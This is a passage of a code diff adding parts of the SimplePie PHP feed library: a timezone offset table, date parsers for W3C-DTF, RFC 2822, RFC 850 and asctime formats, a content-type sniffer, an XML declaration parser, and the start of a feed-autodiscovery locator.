+		'COT' => -18000,
+		'CST' => -21600,
+		'CVT' => -3600,
+		'CXT' => 25200,
+		'DAVT' => 25200,
+		'DTAT' => 36000,
+		'EADT' => -18000,
+		'EAST' => -21600,
+		'EAT' => 10800,
+		'ECT' => -18000,
+		'EDT' => -14400,
+		'EEST' => 10800,
+		'EET' => 7200,
+		'EGT' => -3600,
+		'EKST' => 21600,
+		'EST' => -18000,
+		'FJT' => 43200,
+		'FKDT' => -10800,
+		'FKST' => -14400,
+		'FNT' => -7200,
+		'GALT' => -21600,
+		'GEDT' => 14400,
+		'GEST' => 10800,
+		'GFT' => -10800,
+		'GILT' => 43200,
+		'GIT' => -32400,
+		'GST' => 14400,
+		'GST' => -7200,
+		'GYT' => -14400,
+		'HAA' => -10800,
+		'HAC' => -18000,
+		'HADT' => -32400,
+		'HAE' => -14400,
+		'HAP' => -25200,
+		'HAR' => -21600,
+		'HAST' => -36000,
+		'HAT' => -9000,
+		'HAY' => -28800,
+		'HKST' => 28800,
+		'HMT' => 18000,
+		'HNA' => -14400,
+		'HNC' => -21600,
+		'HNE' => -18000,
+		'HNP' => -28800,
+		'HNR' => -25200,
+		'HNT' => -12600,
+		'HNY' => -32400,
+		'IRDT' => 16200,
+		'IRKST' => 32400,
+		'IRKT' => 28800,
+		'IRST' => 12600,
+		'JFDT' => -10800,
+		'JFST' => -14400,
+		'JST' => 32400,
+		'KGST' => 21600,
+		'KGT' => 18000,
+		'KOST' => 39600,
+		'KOVST' => 28800,
+		'KOVT' => 25200,
+		'KRAST' => 28800,
+		'KRAT' => 25200,
+		'KST' => 32400,
+		'LHDT' => 39600,
+		'LHST' => 37800,
+		'LINT' => 50400,
+		'LKT' => 21600,
+		'MAGST' => 43200,
+		'MAGT' => 39600,
+		'MAWT' => 21600,
+		'MDT' => -21600,
+		'MESZ' => 7200,
+		'MEZ' => 3600,
+		'MHT' => 43200,
+		'MIT' => -34200,
+		'MNST' => 32400,
+		'MSDT' => 14400,
+		'MSST' => 10800,
+		'MST' => -25200,
+		'MUT' => 14400,
+		'MVT' => 18000,
+		'MYT' => 28800,
+		'NCT' => 39600,
+		'NDT' => -9000,
+		'NFT' => 41400,
+		'NMIT' => 36000,
+		'NOVST' => 25200,
+		'NOVT' => 21600,
+		'NPT' => 20700,
+		'NRT' => 43200,
+		'NST' => -12600,
+		'NUT' => -39600,
+		'NZDT' => 46800,
+		'NZST' => 43200,
+		'OMSST' => 25200,
+		'OMST' => 21600,
+		'PDT' => -25200,
+		'PET' => -18000,
+		'PETST' => 46800,
+		'PETT' => 43200,
+		'PGT' => 36000,
+		'PHOT' => 46800,
+		'PHT' => 28800,
+		'PKT' => 18000,
+		'PMDT' => -7200,
+		'PMST' => -10800,
+		'PONT' => 39600,
+		'PST' => -28800,
+		'PWT' => 32400,
+		'PYST' => -10800,
+		'PYT' => -14400,
+		'RET' => 14400,
+		'ROTT' => -10800,
+		'SAMST' => 18000,
+		'SAMT' => 14400,
+		'SAST' => 7200,
+		'SBT' => 39600,
+		'SCDT' => 46800,
+		'SCST' => 43200,
+		'SCT' => 14400,
+		'SEST' => 3600,
+		'SGT' => 28800,
+		'SIT' => 28800,
+		'SRT' => -10800,
+		'SST' => -39600,
+		'SYST' => 10800,
+		'SYT' => 7200,
+		'TFT' => 18000,
+		'THAT' => -36000,
+		'TJT' => 18000,
+		'TKT' => -36000,
+		'TMT' => 18000,
+		'TOT' => 46800,
+		'TPT' => 32400,
+		'TRUT' => 36000,
+		'TVT' => 43200,
+		'TWT' => 28800,
+		'UYST' => -7200,
+		'UYT' => -10800,
+		'UZT' => 18000,
+		'VET' => -14400,
+		'VLAST' => 39600,
+		'VLAT' => 36000,
+		'VOST' => 21600,
+		'VUT' => 39600,
+		'WAST' => 7200,
+		'WAT' => 3600,
+		'WDT' => 32400,
+		'WEST' => 3600,
+		'WFT' => 43200,
+		'WIB' => 25200,
+		'WIT' => 32400,
+		'WITA' => 28800,
+		'WKST' => 18000,
+		'WST' => 28800,
+		'YAKST' => 36000,
+		'YAKT' => 32400,
+		'YAPT' => 36000,
+		'YEKST' => 21600,
+		'YEKT' => 18000,
+	);
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$day
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $day_pcre;
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$month
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $month_pcre;
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $built_in = array();
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $user = array();
+
+	/**
+	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
+	 * self::month_pcre, and self::built_in
+	 *
+	 * @access private
+	 */
+	function SimplePie_Parse_Date()
+	{
+		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
+		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';
+
+		static $cache;
+		if (!isset($cache[get_class($this)]))
+		{
+			$all_methods = get_class_methods($this);
+
+			foreach ($all_methods as $method)
+			{
+				if (strtolower(substr($method, 0, 5)) === 'date_')
+				{
+					$cache[get_class($this)][] = $method;
+				}
+			}
+		}
+
+		foreach ($cache[get_class($this)] as $method)
+		{
+			$this->built_in[] = $method;
+		}
+	}
+
+	/**
+	 * Get the object
+	 *
+	 * @access public
+	 */
+	function get()
+	{
+		static $object;
+		if (!$object)
+		{
+			$object =& new SimplePie_Parse_Date;
+		}
+		return $object;
+	}
+
+	/**
+	 * Parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param string $date Date to parse
+	 * @return int Timestamp corresponding to date string, or false on failure
+	 */
+	function parse($date)
+	{
+		foreach ($this->user as $method)
+		{
+			if (($returned = call_user_func($method, $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		foreach ($this->built_in as $method)
+		{
+			if (($returned = call_user_func(array(&$this, $method), $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add a callback method to parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param callback $callback
+	 */
+	function add_callback($callback)
+	{
+		if (is_callable($callback))
+		{
+			$this->user[] = $callback;
+		}
+		else
+		{
+			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
+		}
+	}
+
+	/**
+	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
+	 * well as allowing any of upper or lower case "T", horizontal tabs, or
+	 * spaces to be used as the time seperator (including more than one))
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_w3cdtf($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$year = '([0-9]{4})';
+			$month = $day = $hour = $minute = $second = '([0-9]{2})';
+			$decimal = '([0-9]*)';
+			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
+			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Year
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Decimal fraction of a second
+			8: Zulu
+			9: Timezone Â±
+			10: Timezone hours
+			11: Timezone minutes
+			*/
+
+			// Fill in empty matches
+			for ($i = count($match); $i <= 3; $i++)
+			{
+				$match[$i] = '1';
+			}
+
+			for ($i = count($match); $i <= 7; $i++)
+			{
+				$match[$i] = '0';
+			}
+
+			// Numeric timezone
+			if (isset($match[9]) && $match[9] !== '')
+			{
+				$timezone = $match[10] * 3600;
+				$timezone += $match[11] * 60;
+				if ($match[9] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Convert the number of seconds to an integer, taking decimals into account
+			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));
+
+			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access protected
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function remove_rfc2822_comments($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	/**
+	 * Parse RFC2822's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_rfc2822($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$wsp = '[\x09\x20]';
+			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
+			$optional_fws = $fws . '?';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $minute = $second = '([0-9]{2})';
+			$year = '([0-9]{2,4})';
+			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
+			$character_zone = '([A-Z]{1,5})';
+			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
+			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
+		}
+		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone Â±
+			9: Timezone hours
+			10: Timezone minutes
+			11: Alphabetic timezone
+			*/
+
+			// Find the month number
+			$month = $this->month[strtolower($match[3])];
+
+			// Numeric timezone
+			if ($match[8] !== '')
+			{
+				$timezone = $match[9] * 3600;
+				$timezone += $match[10] * 60;
+				if ($match[8] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			// Character timezone
+			elseif (isset($this->timezone[strtoupper($match[11])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[11])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2/3 digit years
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			elseif ($match[4] < 1000)
+			{
+				$match[4] += 1900;
+			}
+
+			// Second is optional, if it is empty set it to zero
+			if ($match[7] !== '')
+			{
+				$second = $match[7];
+			}
+			else
+			{
+				$second = 0;
+			}
+
+			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse RFC850's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_rfc850($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$year = $hour = $minute = $second = '([0-9]{2})';
+			$zone = '([A-Z]{1,5})';
+			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone
+			*/
+
+			// Month
+			$month = $this->month[strtolower($match[3])];
+
+			// Character timezone
+			if (isset($this->timezone[strtoupper($match[8])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[8])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2 digit year
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			else
+			{
+				$match[4] += 1900;
+			}
+
+			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse C99's asctime()'s date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_asctime($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$wday_name = $this->day_pcre;
+			$mon_name = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $sec = $min = '([0-9]{2})';
+			$year = '([0-9]{4})';
+			$terminator = '\x0A?\x00?';
+			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Year
+			*/
+
+			$month = $this->month[strtolower($match[2])];
+			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse dates using strtotime()
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_strtotime($date)
+	{
+		$strtotime = strtotime($date);
+		if ($strtotime === -1 || $strtotime === false)
+		{
+			return false;
+		}
+		else
+		{
+			return $strtotime;
+		}
+	}
+}
+
+/**
+ * Content-type sniffing
+ *
+ * @package SimplePie
+ */
+class SimplePie_Content_Type_Sniffer
+{
+	/**
+	 * File object
+	 *
+	 * @var SimplePie_File
+	 * @access private
+	 */
+	var $file;
+
+	/**
+	 * Create an instance of the class with the input file
+	 *
+	 * @access public
+	 * @param SimplePie_Content_Type_Sniffer $file Input file
+	 */
+	function SimplePie_Content_Type_Sniffer($file)
+	{
+		$this->file = $file;
+	}
+
+	/**
+	 * Get the Content-Type of the specified file
+	 *
+	 * @access public
+	 * @return string Actual Content-Type
+	 */
+	function get_type()
+	{
+		if (isset($this->file->headers['content-type']))
+		{
+			if (!isset($this->file->headers['content-encoding'])
+				&& ($this->file->headers['content-type'] === 'text/plain'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'))
+			{
+				return $this->text_or_binary();
+			}
+
+			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
+			{
+				$official = substr($this->file->headers['content-type'], 0, $pos);
+			}
+			else
+			{
+				$official = $this->file->headers['content-type'];
+			}
+			$official = strtolower($official);
+
+			if ($official === 'unknown/unknown'
+				|| $official === 'application/unknown')
+			{
+				return $this->unknown();
+			}
+			elseif (substr($official, -4) === '+xml'
+				|| $official === 'text/xml'
+				|| $official === 'application/xml')
+			{
+				return $official;
+			}
+			elseif (substr($official, 0, 6) === 'image/')
+			{
+				if ($return = $this->image())
+				{
+					return $return;
+				}
+				else
+				{
+					return $official;
+				}
+			}
+			elseif ($official === 'text/html')
+			{
+				return $this->feed_or_html();
+			}
+			else
+			{
+				return $official;
+			}
+		}
+		else
+		{
+			return $this->unknown();
+		}
+	}
+
+	/**
+	 * Sniff text or binary
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function text_or_binary()
+	{
+		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
+			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
+			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
+			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
+		{
+			return 'text/plain';
+		}
+		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
+		{
+			return 'application/octect-stream';
+		}
+		else
+		{
+			return 'text/plain';
+		}
+	}
+
+	/**
+	 * Sniff unknown
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function unknown()
+	{
+		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
+		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
+			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
+			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
+		{
+			return 'text/html';
+		}
+		elseif (substr($this->file->body, 0, 5) === '%PDF-')
+		{
+			return 'application/pdf';
+		}
+		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
+		{
+			return 'application/postscript';
+		}
+		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		else
+		{
+			return $this->text_or_binary();
+		}
+	}
+
+	/**
+	 * Sniff images
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function image()
+	{
+		if (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Sniff HTML
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function feed_or_html()
+	{
+		$len = strlen($this->file->body);
+		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20");
+
+		while ($pos < $len)
+		{
+			switch ($this->file->body[$pos])
+			{
+				case "\x09":
+				case "\x0A":
+				case "\x0D":
+				case "\x20":
+					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
+					continue 2;
+
+				case '<':
+					$pos++;
+					break;
+
+				default:
+					return 'text/html';
+			}
+
+			if (substr($this->file->body, $pos, 3) === '!--')
+			{
+				$pos += 3;
+				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
+				{
+					$pos += 3;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '!')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
+				{
+					$pos++;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '?')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
+				{
+					$pos += 2;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 3) === 'rss'
+				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
+			{
+				return 'application/rss+xml';
+			}
+			elseif (substr($this->file->body, $pos, 4) === 'feed')
+			{
+				return 'application/atom+xml';
+			}
+			else
+			{
+				return 'text/html';
+			}
+		}
+
+		return 'text/html';
+	}
+}
+
+/**
+ * Parses the XML Declaration
+ *
+ * @package SimplePie
+ */
+class SimplePie_XML_Declaration_Parser
+{
+	/**
+	 * XML Version
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $version = '1.0';
+
+	/**
+	 * Encoding
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $encoding = 'UTF-8';
+
+	/**
+	 * Standalone
+	 *
+	 * @access public
+	 * @var bool
+	 */
+	var $standalone = false;
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'before_version_name';
+
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_XML_Declaration_Parser($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit')
+		{
+			return true;
+		}
+		else
+		{
+			$this->version = '';
+			$this->encoding = '';
+			$this->standalone = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * Advance past any whitespace
+	 *
+	 * @return int Number of whitespace characters passed
+	 */
+	function skip_whitespace()
+	{
+		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
+		$this->position += $whitespace;
+		return $whitespace;
+	}
+
+	/**
+	 * Read value
+	 */
+	function get_value()
+	{
+		$quote = substr($this->data, $this->position, 1);
+		if ($quote === '"' || $quote === "'")
+		{
+			$this->position++;
+			$len = strcspn($this->data, $quote, $this->position);
+			if ($this->has_data())
+			{
+				$value = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				return $value;
+			}
+		}
+		return false;
+	}
+
+	function before_version_name()
+	{
+		if ($this->skip_whitespace())
+		{
+			$this->state = 'version_name';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function version_name()
+	{
+		if (substr($this->data, $this->position, 7) === 'version')
+		{
+			$this->position += 7;
+			$this->skip_whitespace();
+			$this->state = 'version_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function version_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'version_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function version_value()
+	{
+		if ($this->version = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'encoding_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = 'standalone_name';
+		}
+	}
+
+	function encoding_name()
+	{
+		if (substr($this->data, $this->position, 8) === 'encoding')
+		{
+			$this->position += 8;
+			$this->skip_whitespace();
+			$this->state = 'encoding_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function encoding_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'encoding_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function encoding_value()
+	{
+		if ($this->encoding = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'standalone_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function standalone_name()
+	{
+		if (substr($this->data, $this->position, 10) === 'standalone')
+		{
+			$this->position += 10;
+			$this->skip_whitespace();
+			$this->state = 'standalone_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function standalone_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'standalone_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	function standalone_value()
+	{
+		if ($standalone = $this->get_value())
+		{
+			switch ($standalone)
+			{
+				case 'yes':
+					$this->standalone = true;
+					break;
+
+				case 'no':
+					$this->standalone = false;
+					break;
+
+				default:
+					$this->state = false;
+					return;
+			}
+
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = false;
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+}
+
+class SimplePie_Locator
+{
+	var $useragent;
+	var $timeout;
+	var $file;
+	var $local = array();
+	var $elsewhere = array();
+	var $file_class = 'SimplePie_File';
+	var $cached_entities = array();
+	var $http_base;
+	var $base;
+	var $base_location = 0;
+	var $checked_feeds = 0;
+	var $max_checked_feeds = 10;
+	var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer';
+
+	function SimplePie_Locator(&$file, $timeout = 10, $useragent = null, $file_class = 'SimplePie_File', $max_checked_feeds = 10, $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer')
+	{
+		$this->file =& $file;
+		$this->file_class = $file_class;
+		$this->useragent = $useragent;
+		$this->timeout = $timeout;
+		$this->max_checked_feeds = $max_checked_feeds;
+		$this->content_type_sniffer_class = $content_type_sniffer_class;
+	}
+
+	function find($type = SIMPLEPIE_LOCATOR_ALL)
+	{
+		if ($this->is_feed($this->file))
+		{
+			return $this->file;
+		}
+
+		if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer =& new $this->content_type_sniffer_class($this->file);
+			if ($sniffer->get_type() !== 'text/html')
+			{
+				return null;
+			}
+		}
+
+		if ($type & ~SIMPLEPIE_LOCATOR_NONE)
+		{
+			$this->get_base();
+		}
+
+		if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery())
+		{
+			return $working;
+		}
+
+		if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links())
+		{
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere))
+			{
+				return $working;
+			}
+		}
+		return null;
+	}
+
+	function is_feed(&$file)
+	{
+		if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer =& new $this->content_type_sniffer_class($file);
+			$sniffed = $sniffer->get_type();
+			if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml')))
+			{
+				return true;
+			}
+			else
+			{
+				return false;
+			}
+		}
+		elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	function get_base()
+	{
+		$this->http_base = $this->file->url;
+		$this->base = $this->http_base;
+		$elements = SimplePie_Misc::get_element('base', $this->file->body);
+		foreach ($elements as $element)
+		{
+			if ($element['attribs']['href']['data'] !== '')
+			{
+				$this->base = SimplePie_Misc::absolutize_url(trim($element['attribs']['href']['data']), $this->http_base);
+				$this->base_location = $element['offset'];
+				break;
+			}
+		}
+	}
+
+	function autodiscovery()
+	{
+		$links = array_merge(SimplePie_Misc::get_element('link', $this->file->body), SimplePie_Misc::get_element('a', $this->file->body), SimplePie_Misc::get_element('area', $this->file->body));
+		$done = array();
+		foreach ($links as $link)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (isset($link['attribs']['href']['data']) && isset($link['attribs']['rel']['data']))
+			{
+				$rel = array_unique(SimplePie_Misc::space_seperated_tokens(strtolower($link['attribs']['rel']['data'])));
+
+				if ($this->base_location < $link['offset'])
+				{
+					$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base);
+				}
+				else
+				{
+					$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base);
+				}
+
+				if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !empty($link['attribs']['type']['data']) && in_array(strtolower(SimplePie_Misc::parse_mime($link['attribs']['type']['data'])), array('application/rss+xml', 'application/atom+xml'))))
+				{
+					$this->checked_feeds++;
+					$feed =& new $this->file_class($href, $this->timeout, 5, null, $this->useragent);
+					if ($this->is_feed($feed))
+					{
+						return $feed;
+					}
+				}
+				$done[] = $href;
+			}
+		}
+		return null;
+	}
+
+	function get_links()
+	{
+		$links = SimplePie_Misc::get_element('a', $this->file->body);
+		foreach ($links as $link)
+		{
+			if (isset($link['attribs']['href']['data']))
+			{
+				$href = trim($link['attribs']['href']['data']);
+				$parsed = SimplePie_Misc::parse_url($href);
